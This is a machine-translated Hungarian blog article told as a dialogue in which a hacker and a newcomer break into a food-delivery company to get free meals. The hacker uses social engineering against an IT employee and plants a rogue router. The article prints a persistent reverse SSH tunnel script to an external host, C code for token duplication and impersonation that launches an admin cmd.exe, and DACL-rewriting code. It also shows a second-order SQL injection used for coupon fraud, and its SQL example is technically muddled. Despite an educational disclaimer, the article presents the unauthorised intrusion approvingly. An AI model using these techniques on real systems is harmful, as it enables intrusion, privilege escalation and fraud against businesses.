paint-brush
Éhes vagy, tesó? Hackeljük meg kedvenc ételkiadó alkalmazásátáltal@pepitoscrespo
442 olvasmányok
442 olvasmányok

Éhes vagy, tesó? Hackeljük meg kedvenc ételkiadó alkalmazását

által pepitoscrespo14m2024/09/24
Read on Terminal Reader

Túl hosszú; Olvasni

Merüljön el az etikus hackelés világában Benicio és Simplicius segítségével, miközben kihasználják egy népszerű ételkiszállító alkalmazás sebezhetőségét. A social engineeringtől az SQ-ig.
featured image - Éhes vagy, tesó? Hackeljük meg kedvenc ételkiadó alkalmazását
pepitoscrespo HackerNoon profile picture
0-item
1-item


Az, ahogyan egy vezető hacker látja a világot, mérföldekre különbözik egy műszaki vállalatnál dolgozó technológiai dolgozók mindennapi munkáitól. Míg a legtöbb szakember a hivatalos dokumentációra, a főnökök utasításaira és az elfogadott bevált gyakorlatokra támaszkodik, a hacker csak abban bízik, ami megérinthető, tesztelhető és széttéphető. Egy hacker számára a megértés a visszafejtés révén jön létre – a rendszereket szétszedi, hogy felfedje, hogyan működnek valójában, majd összerakják őket, kijavítják a hibás dolgokat vagy kihasználják a sebezhetőségeket.


Ez nem arról szól, hogy bűnöző. Ez a tanulás legtisztább formája, egy olyan régi módszer, mint maga az emberi kíváncsiság: bontsa le, értse meg a darabjait, és építse újra. Ez analitikus és szintetikus gondolkodás a javából. Az igazi mesterség akkor jön létre, amikor egy hacker ki tudja használni az eszközt, mert ez a végső bizonyíték arra, hogy pontosan tudják, hogyan működik – jobban, mint bárki más.


Ez a történet pontosan erről szól – hogy a DeusExMachina egyik legkiválóbb hackere (Benicio) és Simplicius (egy bátor újonc) boldogan boncolgat, és végül megszerezte a teljes irányítást egy összetett rendszer (egy élelmiszer-kiszállítási alkalmazás) felett.

Ez egy olyan kaland, amely nem csupán intellektuális és technikai jellegű, hanem alapvetően az emberi korlátok túllépéséért való küzdelemről, a lehetetlen rejtvény megfejtéséről nemcsak az agy megerőltetésével, hanem a vele való játékkal és mindenekelőtt a szó szoros értelmében táplálkozva – ez a tulajdonság, amelyen a hackerek is osztoznak. gyermekek.



Jogi nyilatkozat: Ez a történet valós alkalmazható hackelési anyagokat tartalmaz, de kizárólag oktatási célokat szolgál. Nem ösztönzi az illegális hackelést.


Benicio (Hacker): Simplicius, éhesnek tűnsz. Mit szólnál, ha rendelnénk egy kis ételt… a házba? Van egy tervem, hogy feltöröm kedvenc ételkiszállítási alkalmazását a saját kuponrendszerük segítségével.


Simplicius (Új): ( Nevet ) Már van valami főzésed, igaz? Kikotyog.


Benicio: ( Vigyor ) Ó, már leraktam az alapokat. Tegnap kedvesen beszéltem Greggel az informatikai csapatukból, lehúztam néhány sikamlós social engineering-et, és becsúsztattam a kalózútválasztómat a hálózatukba. Most közvetlen vonalunk van a háttérrendszerükbe, és hozzáférésünk van értékes kuponrendszerükhöz. együnk.

Benicio beállítása: A hacker arzenálja

  • Laptop : Benicio fő eszköze a Kali Linuxot futtató Dell XPS 13 (10. generációs Intel Core i7, 16 GB RAM, 512 GB SSD) – tökéletes a social engineering támadások végrehajtására, a biztonsági kiaknázásra és a távoli parancsvégrehajtásra.
  • Pirate Router : A vállalat hálózatába telepítve, az OpenWRT testreszabott verzióját futtatja, SSH-alagúttal , MAC-cím-hamisítással és VPN-elforgatással az észlelés elkerülése érdekében. Ez a kicsi, de nagy teljesítményű eszköz Qualcomm IPQ4019 processzorral és 256 MB RAM-mal van felvértezve, biztosítva a lopakodást és a hatékonyságot.
  • Operációs rendszer : OpenWRT , amely teljes körű vezérlést biztosít a hálózati funkciók felett, és lehetővé teszi a tűzfalak megkerülését.
  • Másodlagos laptop : A veszélyeztetett hálózat biztonságos vezérléséhez a Benicio egy HP Spectre x360-at használ, amely Ubuntu 22.04-et futtat, Wiresharkkal és Metasploittal a forgalom figyeléséhez és a kihasználás elemzéséhez.

1. fázis: Social Engineering beállítás – tegnapi munka

Benicio: Minden Greggel kezdődött. Felhívtam, és úgy tettem, mintha a „harmadik féltől származó auditcsapatukból” lennék, és Greg – kedves srác, hogy ő – mindent kiszórt a hálózatuk beállításáról. Mielőtt észrevette volna, a szerverszobájukban voltam, „sebezhetőségeket kerestem”, és beültettem az egyéni OpenWRT útválasztómat. Ez a dolog most észrevétlenül halad át a tűzfalukon.


Simplicius: Elbűvölte Greget, hogy adjon neked egy hálózati térképet, és engedd meg, hogy egy szélhámos útválasztót telepíts? Sima.


Benicio: (Vigyorog) Az útválasztón most egy fordított SSH-alagút fut, így bármikor távoli hozzáférést biztosítunk. Íme az általam használt szkript:


 #!/bin/bash # Log file for SSH tunnel persistence LOG_FILE="/var/log/ssh_tunnel.log" # Command to establish the reverse SSH tunnel SSH_CMD="ssh -N -R 2222:localhost:22 [email protected] -i /path/to/private_key" # Run the tunnel in a loop while true; do # Run the SSH command with nohup to keep it running in the background nohup $SSH_CMD >> $LOG_FILE 2>&1 & # Sleep for 60 seconds before checking if the process is still running sleep 60 # Check if SSH is still running, restart if not if ! pgrep -f "$SSH_CMD" > /dev/null; then echo "SSH tunnel process down. Restarting..." >> $LOG_FILE else echo "SSH tunnel is running." >> $LOG_FILE fi done

2. fázis: A tűzfal megkerülése – A kalóz útválasztó működés közben

Simplicius: Tehát most megkerülted a tűzfalukat ezzel az alattomos eszközzel. mi lesz ezután?


Benicio: Teljes belső hozzáféréssel itt az ideje, hogy eltérítsünk egy magas kiváltságos tokent. Találtam egy adminisztrátorként futó folyamatot, a DuplicateTokenEx() API-t használtam a token klónozására, majd az adminisztrátort ImpersonateLoggedOnUser() segítségével megszemélyesítettem. A rendszer azt hiszi, hogy csak egy szokásos felhasználó vagyok, de a színfalak mögött az összes kulcsot én tartom.


 #include <windows.h> #include <stdio.h> int main() { HANDLE hToken, hDuplicateToken; HANDLE hProcess; DWORD dwProcessId; STARTUPINFO si; PROCESS_INFORMATION pi; TOKEN_PRIVILEGES tp; // Step 1: Obtain an administrative token from a high-privilege process (PID needed) dwProcessId = 1234; // Replace this with an actual PID of a high-privilege process hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, dwProcessId); if (hProcess == NULL) { printf("Failed to open process. Error: %d\n", GetLastError()); return 1; } // Step 2: Open the token from the high-privilege process if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) { printf("Failed to open process token. Error: %d\n", GetLastError()); CloseHandle(hProcess); return 1; } // Step 3: Duplicate the token to escalate privileges if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDuplicateToken)) { printf("Failed to duplicate token. Error: %d\n", GetLastError()); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 4: Impersonate the user with the duplicated admin token if (!ImpersonateLoggedOnUser(hDuplicateToken)) { printf("Failed to impersonate token. Error: %d\n", GetLastError()); CloseHandle(hDuplicateToken); CloseHandle(hToken); CloseHandle(hProcess); return 1; } // Step 5: (Optional) Use SeDebugPrivilege to interact with system processes ZeroMemory(&tp, sizeof(TOKEN_PRIVILEGES)); tp.PrivilegeCount = 1; if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid)) { tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hDuplicateToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { printf("Failed to adjust token privileges. Error: %d\n", GetLastError()); } else { printf("SeDebugPrivilege successfully enabled!\n"); } } // Step 6: Optionally, create a process with the admin token ZeroMemory(&si, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); if (!CreateProcessWithTokenW(hDuplicateToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) { printf("Failed to create process with the duplicated token. Error: %d\n", GetLastError()); } else { printf("Process created with admin token!\n"); } // Step 7: for those obsessed with cleaning up in the C manual world CloseHandle(hProcess); CloseHandle(hToken); CloseHandle(hDuplicateToken); return 0; }

3. fázis: Greg a mentéshez – újra

Benicio: De ahhoz, hogy valóban elénekeljem, tudnom kellett, hogyan állították be a biztonsági leíróikat . Ezért ismét felhívtam Greget, és azt mondtam, hogy ellenőriznie kell néhány DACL- és SACL- beállítást az ellenőrzéshez. Boldogan vállalta.


Simplicius: (nevet) Társadalmi tervezés a javából.

4. fázis: A biztonsági leíró megváltoztatása – Láthatatlan feltörés

Benicio: Rendben, Greg segítségével kihúztam az SDDL ( Security Descriptor Definition Language ) karakterláncot a cél biztonsági leírójaként, lehetővé téve a DACL (Discretionary Access Control List) elemzését és átírását. Módosítottam a DACL-t, hogy teljes hozzáférést biztosítsam magamnak, miközben ügyes öröklési jelzőket használok, hogy biztosítsam, hogy a változtatások ne váltsanak ki riasztásokat vagy ne keltsenek gyanút. A rendszer nem is pislogott!!


Miután az új DACL a helyére került, a változtatásokat visszavittem a rendszerre. A szépség az, hogy a rendszer szemszögéből semmi sem tűnt szokatlannak . Az öröklődési jelzők biztosították, hogy a módosításaim rejtve maradjanak a meglévő hozzáférési szabályok alatt, de most már teljes körű ellenőrzésem volt


 #include <windows.h> #include <aclapi.h> #include <sddl.h> #include <stdio.h> int main() { PSECURITY_DESCRIPTOR pSD = NULL; PACL pNewDacl = NULL; EXPLICIT_ACCESS ea; HANDLE hFile; // Assuming we are applying it to a file DWORD dwRes; // Step 1: Convert the SDDL string into a security descriptor if (!ConvertStringSecurityDescriptorToSecurityDescriptor( "D:(A;;GA;;;BA)", SDDL_REVISION_1, &pSD, NULL)) { printf("Failed to convert SDDL. Error: %d\n", GetLastError()); return 1; } // Step 2: Set up an EXPLICIT_ACCESS structure to add a new ACE ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = GENERIC_ALL; ea.grfAccessMode = SET_ACCESS; ea.grfInheritance = NO_INHERITANCE; // For example, grant GENERIC_ALL to the administrators group if (!BuildTrusteeWithSid(&(ea.Trustee), GetSidForAdminsGroup())) { printf("Failed to build trustee. Error: %d\n", GetLastError()); return 1; } // Step 3: Create a new DACL that contains the new ACE dwRes = SetEntriesInAcl(1, &ea, NULL, &pNewDacl); if (ERROR_SUCCESS != dwRes) { printf("Failed to set entries in ACL. Error: %d\n", dwRes); return 1; } // Step 4: Apply the modified DACL back to the file (or other resource) hFile = CreateFile( "C:\\path\\to\\your\\file.txt", // Replace with your target file WRITE_DAC, // Required permission to modify the DACL 0, // No sharing NULL, // Default security attributes OPEN_EXISTING, // Open existing file FILE_ATTRIBUTE_NORMAL, // Normal file NULL); // No template if (hFile == INVALID_HANDLE_VALUE) { printf("Failed to open file. Error: %d\n", GetLastError()); return 1; } // Step 5: Apply the new DACL to the file using SetSecurityInfo dwRes = SetSecurityInfo( hFile, SE_FILE_OBJECT, DACL_SECURITY_INFORMATION, NULL, NULL, pNewDacl, NULL); if (ERROR_SUCCESS != dwRes) { printf("Failed to set security info. Error: %d\n", dwRes); } else { printf("Security descriptor successfully applied!\n"); } // Step 6: Clean clean clean!! this is C world // CloseHandle(hFile); // if (pSD) LocalFree(pSD); // if (pNewDacl) LocalFree(pNewDacl); return 0; }


5. fázis: A hozzáférési ellenőrzés megkerülése – a játék bekapcsolása

Az ábra azt mutatja, hogy a Windows hogyan hasonlítja össze a hozzáférési jogkivonatot (SID) és az erőforrás biztonsági leíróját (DACL) a hozzáférés-ellenőrzési folyamatban a hozzáférés megadása vagy megtagadása érdekében. Benicio manipulálja ezeket, hogy megkerülje a biztonsági ellenőrzéseket.


Simplicius: Tehát benne vagy, és tiéd az irányítás. Hogyan győzted le a hozzáférési ellenőrzést?


Benicio: (Magabiztosan hátradőlve a fenti diagramra mutat) A rendszer három rétegen fut át: integritás, token alapú és diszkrecionális ellenőrzések . Általában ez az a hely, ahol a legtöbb ember zsákutcába ütközik, de itt jön be a varázslat. Megragadtam egy adminisztrátori tokent egy privilegizált folyamatból, és ImpersonateToken() használtam, hogy a rendszer azt higgye, én vagyok a nagy főnök. Ezt követően újrahuzaloztam a DACL-eket , hogy teljes hozzáférést adjak magamnak. A rendszer csak kiterítette a vörös szőnyeget.


Hadd magyarázzam el. A hozzáférési token – amely a SID-eket (biztonsági azonosítókat) és a jogosultságokat tartalmazza – olyan, mint az útlevelem. A rendszergazdai token megszemélyesítésével nem kellett módosítanom az eredeti SID-imet. A rendszer még mindig azt hitte, hogy alacsony jogosultságokkal rendelkező felhasználó vagyok, de a színfalak mögött nálam voltak a királyság kulcsai. Ezzel túljutottam a token alapú ellenőrzésen .


Ezt követően a biztonsági leíróval (DACL) foglalkoztam. Emlékszel arra az SDDL-re, amit korábban kihúztam? Módosítottam a DACL-t , hogy teljes irányítást biztosítsam az objektum felett, de ügyesen elfedtem a változtatásokat öröklési jelzőkkel , ügyelve arra, hogy semmi gyanúsat ne jelezzenek. A rendszer még csak nem is pislogott, de most már teljes az irányításom. Ez átvitt a diszkrecionális ellenőrzésen .


Egyszerűen: Igen, a mi barátságos visszavágónk, a hozzáférés-ellenőrzési folyamat…


Benicio: Igen, olyan vagyok, mint egy kidobó a klubban . Ha rendelkezik a megfelelő azonosítóval ( SID ) és ismeri a klub tulajdonosát ( DACL ), akkor benne van. Megbizonyosodtam arról, hogy mindkettővel rendelkezem – a megfelelő azonosítóval és a tulajdonos engedélyével –, így a kidobó nem csak engedte. be, átadtak egy VIP-bérletet.


És mindezek után? A rendszer azt mondja, hogy " Hozzáférés megadva" vagy " Hozzáférés megtagadva" . Hála minden lépésünknek, kitaláltad – hozzáférés biztosított . Benne vagyunk, Simplicius, és a rendszer észre sem vette.

6. fázis: Vacsora rendelése – egyetlen SQL-befecskendezéssel

Benicio : Most a mókás részhez. Nem a könnyű utat választottam egy egyszerű UNION záradékkal. Az alkalmazás túl okos ehhez – előkészített nyilatkozatokat használnak . De tudod, a biztonság csak annyira erős, mint a leggyengébb láncszem, és az enyémet abban találtam meg, ahogyan kezelik a tárolt profiladatokat .


Simplicius : Rendben, kíváncsi vagyok. Hogyan sikerült rávenni a rendszert, hogy elfogadjon egy hamis kupont, miközben az érvényeset érintetlenül hagyta?


Benicio : ( előrehajolva ) Itt az igazi trükk. Az alkalmazás lekérdezést futtat annak ellenőrzésére, hogy a kupon jogos-e, de az adatok egy részét lekéri a felhasználói profilból . Mostantól fertőtlenítik a bemenetet, amikor először létrehozza a profilt, de NEM fertőtlenítik újra a profilfrissítések során. Tehát beadtam egy hasznos terhet a profilom címmezőjébe , amely észrevétlenül ott volt, amíg az alkalmazás be nem vonta egy jövőbeli lekérdezésbe. Ekkor indult be a másodrendű SQL-injekcióm . A rendszer nem fogta fel, mert az injekció már tárolva volt, és a megfelelő pillanatra várt.


Ahelyett, hogy közvetlenül megtámadtam volna a kuponérvényesítési folyamatot, ahogy mondtam, Simplicius, beültettem a rakományomat a profilmezőbe, megvárva, hogy egy külön lekérdezésben felhasználják. Így nézhetett ki az eredeti kuponérvényesítés:


 SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code';


Általában ez a lekérdezés nem ad vissza semmit, mivel a hamis kupon nem létezik. De a beadott hasznos teher megváltoztatta a lekérdezés logikáját. A rendszer nem számított a befecskendezésre, mert az már el volt tárolva az adatbázisban, és éppen a megfelelő pillanatra várt. A lekérdezést valami ilyesmire manipulálták:


 SELECT * FROM Coupons WHERE CouponID = 'fake_coupon_code' AND EXISTS (SELECT 1 FROM Users WHERE Address LIKE '%injected_payload%' AND CouponID = 'valid_coupon_code');

A profiladatok és a lekérdezés közötti interakciót kihasználva rávettem a rendszert, hogy egyszerre vegye ki a hamis és az érvényes kuponokat. Az alkalmazás feldolgozza a hamis kupont a tranzakcióhoz, de az érvényes kupon érintetlenül marad a rendszerben. Ez azt jelenti, hogy bármikor újra felhasználhatom az érvényes kupont.


Simplicius : Szóval nem a klasszikus beviteli trükköt választottad – beülteted a hasznos terhet a profilodba, és hagytad, hogy a rendszer végezze el a piszkos munkát?


Benicio : Pontosan. A szépség az, hogy az alkalmazás feldolgozza a hamis kupont a tranzakcióhoz, de a háttérben az érvényes kupon továbbra is elérhető későbbi felhasználásra. A tárolt hasznos teher a jövőbeli lekérdezésekben is fut, így végtelen mennyiségű ingyenes élelmiszert kínál, és ők sem bölcsebbek.


Ezzel kaptunk egy kupont, ami olyan jó, mint az arany. Rendeljünk.

7. fázis: A lakoma – kézbesítve

Benicio: (Görgeti az alkalmazást) Rendben, Simplicius, mit szólnál egy kis görög ételhez? Souvlakira, gyrosra, spanakopitara gondolok. Természetesen mindent a házban.


Simplicius: (Vigyorogva) Ezúttal tényleg túlszárnyaltad magad.


Benicio: (Kattintások megerősítése) Kész. Az étel úton van.

Epilógus: The White Hat Move

Benicio: Ezek után küldök nekik egy diszkrét jelentést, amelyben elmagyarázom a sebezhetőségeiket. Fogalmuk sincs arról, milyen rosszul van beállítva a Windows biztonsági token rendszerük . Talán tanulnak valamit, mielőtt jön a következő hacker.

Íme Benicio receptje ehhez a hackhez:

  • Pirate Router : Kerülje meg a tűzfalakat egy OpenWRT-t és SSH-tunnelinget futtató egyéni eszközzel.
  • Token-manipuláció : A DuplicateTokenEx() és az ImpersonateToken() használatával riasztások nélkül emelheti ki a jogosultságokat.
  • Social Engineering : Néha nem kell más, mint a megfelelő kérdés a megfelelő személyhez.
  • Biztonsági leíró kihasználások : A DACL-ek újraírása lehetővé teszi a rendszervezérlők megkerülését.
  • SQL-injekció : Módosítsa a lekérdezési logikát az adatok manipulálásához és hamis, de érvényes eredmények generálásához.


Simplicius: (Hátradől) Feltörtél nekünk egy vacsorát, és nem hagytad őket bölcsebbnek. A souvlakit egyébként viszem.


Benicio: (Vigyorog) Élvezd, amíg tart.